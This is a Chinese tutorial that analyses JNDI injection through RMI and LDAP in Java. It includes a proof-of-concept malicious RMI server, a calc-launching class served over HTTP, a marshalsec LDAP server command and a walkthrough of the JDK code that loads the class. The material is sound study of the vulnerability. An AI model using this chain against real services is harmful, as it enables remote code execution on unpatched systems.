其实从基础知识可以看到,如果lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类。
JNDI命名引用机制 这个机制是干啥的呢?其实简单来说就是为了方便引用远程对象,以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。
JNDI中Reference类 Reference 类是 JNDI 引用机制的核心类,它位于 javax.naming 包中。Reference类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载class文件来进行实例化。他不直接存储对象本身,而是存储”重建对象的配方”
Reference的主要字段
1 2 3 4 5 6 7 8 9 10 11 protected String className;protected Vector<RefAddr> addrs;protected String classFactory;protected String classFactoryLocation;
Reference的构造函数
1 2 3 4 5 6 7 8 9 10 11 public Reference (String className) public Reference (String className, String factory, String factoryLocation) public Reference (String className, RefAddr addr) public Reference (String className, RefAddr addr, String factory, String factoryLocation)
有点像RMI中Codebase的功能?当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类。
既然提到了Reference类,那接下来就来到JNDI注入的内容了
JNDI注入的原理 JNDI (Java Naming and Directory Interface) 注入的核心原理在于 Java 允许通过 JNDI 接口动态加载外部资源(对象)。
当攻击者可以控制 JNDI lookup 函数的参数(URI)时,他们可以将其指向一个恶意的 RMI 或 LDAP 服务。如果被攻击的客户端配置允许加载远程 codebase,JNDI 会自动下载并实例化攻击者指定的恶意类,从而触发代码执行。
JNDI注入利用的是Java中的Naming References命名引用机制
正常情况下JNDI的lookup获取的是绑定在注册表的现有对象,但如果我们配置一个恶意的注册表并在里面绑定一个Reference对象,那么就会触发这个问题
可以看到这个 Reference 对象包含了三个关键信息:
ClassName : 目标类的名称(恶意类名)。
ClassFactory : 用于创建该类实例的工厂类名称。
ClassFactoryLocation : 该工厂类所在的 URL 地址(攻击者的 HTTP 服务器)。
当受害者的 JNDI 客户端收到这个 Reference 后,它发现本地没有这个类,于是就会去FactoryLocation指向的地址下载.class文件并加载运行。
JNDI+RMI 测试代码 我这里用的是JDK8u65,JNDI注入有版本限制,这个后面再说
例如我们重新写一下服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIRMIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("Calc" ,"Test" ,"http://localhost:7777/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.rebind("remoteObj" , wrapper); } }
然后我们客户端不变化,也是一样的
然后我们的远程类
1 2 3 4 5 6 7 8 9 public class Calc { public Calc () { try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { e.printStackTrace(); } } }
将java文件编译为class文件后启动一个python服务,注意端口要和上面配置的引用工厂类地址端口一致
1 python -m http.server 7777
然后分别运行服务端和客户端
代码分析 把断点打在客户端的lookup方法处开始调试
上篇文章也讲过了lookup的触发流程,最终会调用到RMI的lookup方法,也就是RegistryContext的lookup方法
registry是一个RMI registry注册表对象,是java.rmi.registry.Registry 接口的实例。
在 JNDI 注入中,因为 Reference 类本身没有实现 Remote 接口,不能直接绑定到 RMI 注册表,所以攻击者必须用ReferenceWrapper把Reference包裹起来,所以 var2 实际上是一个 ReferenceWrapper_Stub。随后进入decodeObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } }
先判断是否是ReferenceWrapper,也就是Reference对象,如果是就获取到远程的Reference对象,那么就会获取到恶意类Calc
进入getObjectInstance方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
首先是进行builder的判断,我们是Reference,所以这里会跳过
如果是Reference对象,就会调用getFactoryClassName获取到工厂类名Calc
1 2 3 public String getFactoryClassName () { return classFactory; }
随后会调用getObjectFactoryFromReference方法,跟进看看
第一个loadClass方法是本地加载,如果没找到就忽略异常继续执行
如果本地没找到,并且存在远程地址,这里会调用Reference的getFactoryClassLocation方法获取工厂类远程地址,如果不为空就进入if语句进行loadClass,这里的话需要将恶意类放在远程服务器上,如果放本地测试可能获取codebase是空,跟进后发现其实就是URLClassLoader的loadClass方法
最后进行了一个newInstance实例化的操作,那么就会调用到远程工厂类的构造函数,从而触发恶意代码
总结一下:在进入RMI的lookup方法中时,首先会进行Reference的获取,随后调用decodeObject对Reference对象进行getObjectInstance调用实例化处理,就会触发远程恶意类加载和newInstance实例化操作
JNDI+LDAP 其实测试代码在上篇文章就写过了,我们也可以用github的工具试一下
1 2 3 4 python3 -m http.server 8000 java -cp marshalsec-0.0 .3 -SNAPSHOT-all.jar marshalsec.jndi.LDAPfServer "http://127.0.0.1:8000/#Evil"
然后客户端依旧是一样的
然后主要还是看ldap的代码处理逻辑
lookup代码分析
我记得之前没看过getURLOrDefaultInitCtx的逻辑,这里还是进去看看吧
跟进getURLOrDefaultInitCtx函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected Context getURLOrDefaultInitCtx (String name) throws NamingException { if (NamingManager.hasInitialContextFactoryBuilder()) { return getDefaultInitCtx(); } String scheme = getURLScheme(name); if (scheme != null ) { Context ctx = NamingManager.getURLContext(scheme, myProps); if (ctx != null ) { return ctx; } } return getDefaultInitCtx(); }
这里会判断是否有设置一个 InitialContextFactoryBuilder工厂创建类,如果有就用默认的初始上下文,否则就会解析URL中的协议并让 NamingManager 根据协议名去找对应的 Context 实现类
跟进getURLContext方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Context getURLContext (String scheme, Hashtable<?,?> environment) throws NamingException { Object answer = getURLObject(scheme, null , null , null , environment); if (answer instanceof Context) { return (Context)answer; } else { return null ; } }
经过getURLObject处理后会检查返回值石佛是Context对象,如果是就强制转换并返回,否则返回null,跟进getURLObject看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private static Object getURLObject (String scheme, Object urlInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory( Context.URL_PKG_PREFIXES, environment, nameCtx, "." + scheme + "." + scheme + "URLContextFactory" , defaultPkgPrefix); if (factory == null ) return null ; try { return factory.getObjectInstance(urlInfo, name, nameCtx, environment); } catch (NamingException e) { throw e; } catch (Exception e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } }
调用getFactory获取工厂类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public static Object getFactory (String propName, Hashtable<?,?> env, Context ctx, String classSuffix, String defaultPkgPrefix) throws NamingException { String facProp = getProperty(propName, env, ctx, true ); if (facProp != null ) facProp += (":" + defaultPkgPrefix); else facProp = defaultPkgPrefix; ClassLoader loader = helper.getContextClassLoader(); String key = classSuffix + " " + facProp; Map<String, WeakReference<Object>> perLoaderCache = null ; synchronized (urlFactoryCache) { perLoaderCache = urlFactoryCache.get(loader); if (perLoaderCache == null ) { perLoaderCache = new HashMap <>(11 ); urlFactoryCache.put(loader, perLoaderCache); } } synchronized (perLoaderCache) { Object factory = null ; WeakReference<Object> factoryRef = perLoaderCache.get(key); if (factoryRef == NO_FACTORY) { return null ; } else if (factoryRef != null ) { factory = factoryRef.get(); if (factory != null ) { return factory; } } StringTokenizer parser = new StringTokenizer (facProp, ":" ); String className; while (factory == null && parser.hasMoreTokens()) { className = parser.nextToken() + classSuffix; try { factory = helper.loadClass(className, loader).newInstance(); } catch (InstantiationException e) { NamingException ne = new NamingException ("Cannot instantiate " + className); ne.setRootCause(e); throw ne; } catch (IllegalAccessException e) { NamingException ne = new NamingException ("Cannot access " + className); ne.setRootCause(e); throw ne; } catch (Exception e) { } } perLoaderCache.put(key, (factory != null ) ? new WeakReference <>(factory) : NO_FACTORY); return factory; } }
Context.URL_PKG_PREFIXES是搜索路径,默认值是com.sun.jndi.url,随后进行了参数的拼接"." + scheme + "." + scheme + "URLContextFactory"
如果引入了其他第三方 JNDI 实现(比如 JBoss 或 WebLogic),可能会往这个列表里添加自己的包名。
这里scheme 是 ldap,默认前缀是com.sun.jndi.url,ResourceManager.getFactory会把它们拼接起来,尝试loadClass加载com.sun.jndi.url.ldap.ldapURLContextFactory获取工厂类
然后如果找到了这个工厂类就调用getObjectInstance方法进行实例化并返回
最终返回的是ldapURLContext的实例化对象,然后就会调用到ldapURLContext的lookup方法
1 2 3 4 5 6 7 public Object lookup (String var1) throws NamingException { if (LdapURL.hasQueryComponents(var1)) { throw new InvalidNameException (var1); } else { return super .lookup(var1); } }
跟进GenericURLContext#lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object lookup (String var1) throws NamingException { ResolveResult var2 = this .getRootURLContext(var1, this .myEnv); Context var3 = (Context)var2.getResolvedObj(); Object var4; try { var4 = var3.lookup(var2.getRemainingName()); } finally { var3.close(); } return var4; }
和RMI的一样,先是进行了一个上下文初始化的操作,这里的Context是一个底层的 LDAP Context,并且会配置好连接目标和端口号
进入PartialCompositeContext#lookup(javax.naming.Name)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object lookup (Name var1) throws NamingException { PartialCompositeContext var2 = this ; Hashtable var3 = this .p_getEnvironment(); Continuation var4 = new Continuation (var1, var3); Name var6 = var1; Object var5; try { for (var5 = var2.p_lookup(var6, var4); var4.isContinue(); var5 = var2.p_lookup(var6, var4)) { var6 = var4.getRemainingName(); var2 = getPCContext(var4); } } catch (CannotProceedException var9) { Context var8 = NamingManager.getContinuationContext(var9); var5 = var8.lookup(var9.getRemainingName()); } return var5; }
进行一个for循环的p_lookup调用,进入看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 protected Object p_lookup (Name var1, Continuation var2) throws NamingException { Object var3 = null ; HeadTail var4 = this .p_resolveIntermediate(var1, var2); switch (var4.getStatus()) { case 2 : var3 = this .c_lookup(var4.getHead(), var2); if (var3 instanceof LinkRef) { var2.setContinue(var3, var4.getHead(), this ); var3 = null ; } break ; case 3 : var3 = this .c_lookup_nns(var4.getHead(), var2); if (var3 instanceof LinkRef) { var2.setContinue(var3, var4.getHead(), this ); var3 = null ; } } return var3; }
p_resolveIntermediate函数会将名字拆分成一个head和tail,并判断Status当前状态,会进一步调用com.sun.jndi.ldap.LdapCtx.c_lookup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 protected Object c_lookup (Name var1, Continuation var2) throws NamingException { var2.setError(this , var1); Object var3 = null ; Object var4; try { SearchControls var22 = new SearchControls (); var22.setSearchScope(0 ); var22.setReturningAttributes((String[])null ); var22.setReturningObjFlag(true ); LdapResult var23 = this .doSearchOnce(var1, "(objectClass=*)" , var22, true ); this .respCtls = var23.resControls; if (var23.status != 0 ) { this .processReturnCode(var23, var1); } if (var23.entries != null && var23.entries.size() == 1 ) { LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0 ); var4 = var25.attributes; Vector var8 = var25.respCtls; if (var8 != null ) { appendVector(this .respCtls, var8); } } else { var4 = new BasicAttributes (true ); } if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2 ]) != null ) { var3 = Obj.decodeObject((Attributes)var4); } if (var3 == null ) { var3 = new LdapCtx (this , this .fullyQualifiedName(var1)); } } catch (LdapReferralException var20) { LdapReferralException var5 = var20; if (this .handleReferrals == 2 ) { throw var2.fillInException(var20); } while (true ) { LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this .envprops, this .bindCtls); try { Object var7 = var6.lookup(var1); return var7; } catch (LdapReferralException var18) { var5 = var18; } finally { var6.close(); } } } catch (NamingException var21) { throw var2.fillInException(var21); } try { return DirectoryManager.getObjectInstance(var3, var1, this , this .envprops, (Attributes)var4); } catch (NamingException var16) { throw var2.fillInException(var16); } catch (Exception var17) { NamingException var24 = new NamingException ("problem generating object using object factory" ); var24.setRootCause(var17); throw var2.fillInException(var24); } }
先是进行了LDAP 查询,如果 LDAP 条目里包含 javaSerializedData 属性,就执行decodeObject反序列化的操作,把数据变成Reference对象,跟进DirectoryManager.getObjectInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment, Attributes attrs) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( refInfo, name, nameCtx, environment, attrs); } else { return factory.getObjectInstance(refInfo, name, nameCtx, environment); } } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( ref, name, nameCtx, environment, attrs); } else if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } }
就是检查是否是Reference对象,如果是就获取类名,再去加载,加载的话就是getObjectFactoryFromReference方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
首先尝试在本地加载工厂类,如果加载失败,就进行远程加载,最后进行实例化。
以上就是ldap的lookup逻辑了
当然,jndi注入也是有版本限制
版本限制 关于ldap的JNDI注入需要注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
最终的版本限制是这样的:
协议
JDK6
JDK7
JDK8
JDK11
LADP
6u211以下
7u201以下
8u191以下
11.0.1以下
RMI
6u132以下
7u122以下
8u121以下
无
低版本 JDK:客户端发现本地没有该 Factory 类,会去 classFactoryLocation 指定的地址codebase下载 .class 字节码并实例化。恶意代码通常隐藏在 Factory 类的 static {} 静态代码块或构造函数中,在newInstance实例化时触发 RCE。
高版本 JDK (8u191+):由于 trustURLCodebase 默认为 false,远程下载被禁止。